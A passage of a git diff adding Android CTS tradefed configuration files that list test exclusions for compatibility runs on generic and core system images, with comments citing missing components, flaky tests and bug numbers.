+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.AutoRevokeTest#testInstallGrants_notRevokedImmediately" />
+    <option name="compatibility:exclude-filter" value="CtsPackageInstallTestCases android.packageinstaller.install.cts.ExternalSourcesTestAppOpAllowed#testManageUnknownSourcesExists" />
+    <option name="compatibility:exclude-filter" value="CtsProviderTestCases android.provider.cts.SettingsPanelTest" />
+    <option name="compatibility:exclude-filter" value="CtsProviderTestCases android.provider.cts.settings.SettingsTest#testUserDictionarySettingsExists" />
+    <option name="compatibility:exclude-filter" value="CtsSettingsHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleControllerManagerTest#settingsIsNotVisibleForHomeRole" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#openDefaultAppListThenIsNotDefaultAppInList" />
+
+    <!-- No SettingsIntelligence -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testSettingsSearchIntent" />
+
+    <!-- No StorageManager -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testManageStorage" />
+
+    <!-- No SystemUI -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.AudioPlaybackCaptureTest" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest" />
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest22#testCompatRevoked" />
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testGranted" />
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testRevokeAffectsWholeGroup" />
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testGrantPreviouslyRevokedWithPrejudiceShowsPrompt" />
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" />
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionUpgradeTest#testRevokePropagatedOnUpgradeOldToNewModel" />
+
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.SurfaceViewSyncTest" />
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest" />
+
+    <!-- No WebView -->
+    <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.WebViewTest#testWebView" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testWebViewLoads" />
+    <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.inline.InlineWebViewActivityTest" />
+    <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.WebViewActivityTest" />
+    <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.WebViewMultiScreenLoginActivityTest" />
+    <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.inline.InlineWebViewActivityTest" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.ManagedProfileProvisioningTest#testWebview" />
+    <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests" />
+    <option name="compatibility:exclude-filter" value="CtsInputMethodTestCases android.view.inputmethod.cts.KeyboardVisibilityControlTest#testShowHideKeyboardOnWebView" />
+    <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.cts.EmojiTest" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewScaledWithParentLayer" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithAlpha" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithAlphaLayer" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithLayer" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithOffsetLayer" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithParentLayer" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithUnclippedLayer" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithUnclippedLayerAndComplexClip" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
+    <option name="compatibility:exclude-filter" value="CtsWebkitTestCases" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-wmd.xml b/tools/cts-tradefed/res/config/cts-on-csi-wmd.xml
new file mode 100644
index 0000000..240a149
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-csi-wmd.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Excluded tests for CtsWindowManagerDeviceTestCases">
+
+    <!-- Troublesome tests that often crash the system -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.ActivityVisibilityTests#testTurnScreenOnActivity_withRelayout" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AnrTests" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySecurityTests#testNoInputConnectionForUntrustedVirtualDisplay" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySystemDecorationTests#testImeApiForBug118341760" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySystemDecorationTests#testCrossDisplayBasicImeOperations" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.StartActivityTests#testStartActivityByNavigateUpToFromDiffUid" />
+
+    <!-- No Home -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySystemDecorationTests#testLaunchHomeActivityOnSecondaryDisplayWithoutDecorations" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySystemDecorationTests#testLaunchSingleSecondaryHomeActivityOnDisplayWithDecorations" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySystemDecorationTests#testLaunchSingleHomeActivityOnDisplayWithDecorations" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySystemDecorationTests#testLaunchHomeActivityOnUntrustedVirtualSecondaryDisplay" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySystemDecorationTests#testLaunchSecondaryHomeActivityOnDisplayWithDecorations" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySystemDecorationTests#testLaunchHomeActivityOnDisplayWithDecorations" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.StartActivityTests#testStartHomeIfNoActivities" />
+
+    <!-- No SystemUI -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlTest" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceViewSurfaceValidatorTest" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-csi.xml b/tools/cts-tradefed/res/config/cts-on-csi.xml
new file mode 100644
index 0000000..7ec61d1
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-csi.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a subset of CTS-on-GSI tests using a core system image (CSI)">
+
+    <include name="cts-on-gsi" />
+    <include name="cts-on-csi-no-apks" />
+    <include name="csi-known-failures" />
+
+    <!--
+    CtsWindowManagerDeviceTestCases has about two hundred failed tests on CSI,
+    so it has its own exclude list.
+    -->
+    <include name="cts-on-csi-wmd" />
+
+    <option name="plan" value="cts-on-csi" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
new file mode 100644
index 0000000..0aad033
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -0,0 +1,261 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Excluded tests from cts-on-gsi">
+    <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+    <!-- Tell all HostTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+    <!-- Radio system of a general system image is not checked -->
+    <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsTelephony2TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
+
+    <!-- Exclude telephony related testcases -->
+    <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
+    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
+    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testCallback" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
+
+    <!-- Exclude not applicable testcases-->
+    <option name="compatibility:exclude-filter" value="CtsSignatureTestCases" />
+
+    <!--
+        Exclude testcases failing on Pixel devices
+        TODO(jaeshin@): b/68300743
+    -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
+
+    <!-- Excluded tese case - TODO(jiyong): b/67739526 to reenable that -->
+    <option name="compatibility:exclude-filter" value="CtsJniTestCases android.jni.cts.JniStaticTest#test_linker_namespaces" />
+
+    <!-- b/68190722: Remove testcases that require RRO which is planned for Pi -->
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOpenOptionsMenu" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
+
+    <!-- b/71958344: Exclude until CTS releases it -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.OverlayHostTest#testInstallingOverlayHasNoEffect" />
+
+    <!-- b/161837932: Fix MediaPlayerTests that use "too small" resolution -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testOnSubtitleDataListener" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testChangeSubtitleTrack" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testDeselectTrackForSubtitleTracks" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testGetTrackInfoForVideoWithSubtitleTracks" />
+
+    <!-- b/74583365: CtsAppSecurityHostTestCases flaky -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testApps " />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testEjected" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testPackageInstaller" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testPrimaryStorage" />
+
+    <!-- b/152359655: ResumeOnReboot can't work on GSI -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ResumeOnRebootHostTest" />
+
+    <!-- b/77175538: CtsViewTestCases failure flaky -->
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.PixelCopyTest#testWindowProducerCopyToRGBA16F" />
+
+    <!-- b/73727333: CtsSystemUiTestCases failure flaky -->
+    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
+    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarThemeTest#testNavigationBarDivider" />
+
+    <!-- b/80388296: CtsDevicePolicyManagerTestCases failure flaky -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testDisallowAutofill_allowed" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPackageInstallUserRestrictions" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionAppUpdate" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionGrant" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionMixedPolicies" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionPolicy" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testSuspendPackage" />
+
+    <!-- b/80407835: CtsServicesHostTestCases failure flaky -->
+    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.KeyguardTests#testDialogShowWhenLockedActivity" />
+    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.KeyguardTests#testTranslucentShowWhenLockedActivity" />
+
+    <!-- b/80284482: Flaky tests -->
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testAllowWhileIdleAlarms" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testBucketUpgradeToNoDelay" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testBucketUpgradeToSmallerDelay" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testFrequentDelay" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testRareDelay" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testWorkingSetDelay" />
+
+    <!-- b/110260628: A confirmed GSI incompatibility (waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testCreateAndManageUser_DontSkipSetupWizard" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testSecurityLoggingWithSingleUser" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testKeyManagement" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testKeyManagement" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testKeyManagement" />
+
+    <!-- b/110405497: Flaky tests (waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testDeviceIdAttestation" />
+
+    <!-- b/141113818: Allows unlock for CTS-on-GSI -->
+    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testEcAttestation_DeviceLocked" />
+    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testRsaAttestation_DeviceLocked" />
+
+    <!-- b/110385515: Flaky due to a particular SIM card requirement (excluded) -->
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testOpenConnection" />
+    <option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.rtt.cts.WifiRttTest#testRangingToTestAp" />
+
+    <!-- b/110417203: Flaky tests -->
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidTagStateDetails" />
+
+    <!-- b/80077786: MyVerizonServices fail -->
+    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
+
+    <!-- b/111101428: CtsOsTestCases irrelevant test cases -->
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildTest#testIsSecureUserBuild" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildVersionTest#testBuildFingerprint" />
+
+    <!-- b/110405126: CtsPermissionTestCases flaky (due to SIM card setting) -->
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetDeviceId" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetImei" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetLine1Number" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetSimSerialNumber" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetSubscriberId" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testSetDataEnabled" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testVoiceMailNumber" />
+
+    <!-- b/111967702: CtsSecurityTestCases irrelevant test cases -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSu" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSuInPath" />
+
+    <!-- b/116170534: CtsMediaTestCases regression (9.0 R4 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.DecoderTest#testH265HDR10StaticMetadata" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCornerCase" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCornerCase2" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCubicMonotonic" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerDuck" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerJoin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerRamp" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerRunDuringPauseStop" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerStepRamp" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerTwoShapers" />
+
+    <!-- b/157286547 CtsIncidentHostTestCases ErrorsTest failure -->
+    <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testNativeCrash" />
+
+    <!-- b/111167329: CtsCameraTestCases failure -->
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.SurfaceViewPreviewTest#testSurfaceSet"/>
+
+    <!-- b/135588722: CtsUsesLibraryHostTestCases (10_r1 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsUsesLibraryHostTestCases android.classloaders.cts.UsesLibraryHostTest#testMissingLibrary_full"/>
+    <option name="compatibility:exclude-filter" value="CtsUsesLibraryHostTestCases android.classloaders.cts.UsesLibraryHostTest#testUsesLibrary_full"/>
+    <option name="compatibility:exclude-filter" value="CtsCompilationTestCases android.compilation.cts.AdbRootDependentCompilationTest"/>
+
+    <!-- b/145371681: CtsContentSuggestionsTestCases and CtsAppPredictionServiceTestCases (10_r2 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsAppPredictionServiceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsContentSuggestionsTestCases" />
+
+    <!-- b/143513519: CtsCameraTestCases (10_r3 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.camera.cts.HeifWriterTest#testHeif"/>
+
+    <!-- b/155107044: CtsNetTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptTcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptUdp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthUdp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptUdp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthUdp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptTcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptTcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthUdp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testIkeOverUdpEncapSocket"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Tcp4UdpEncap"/>
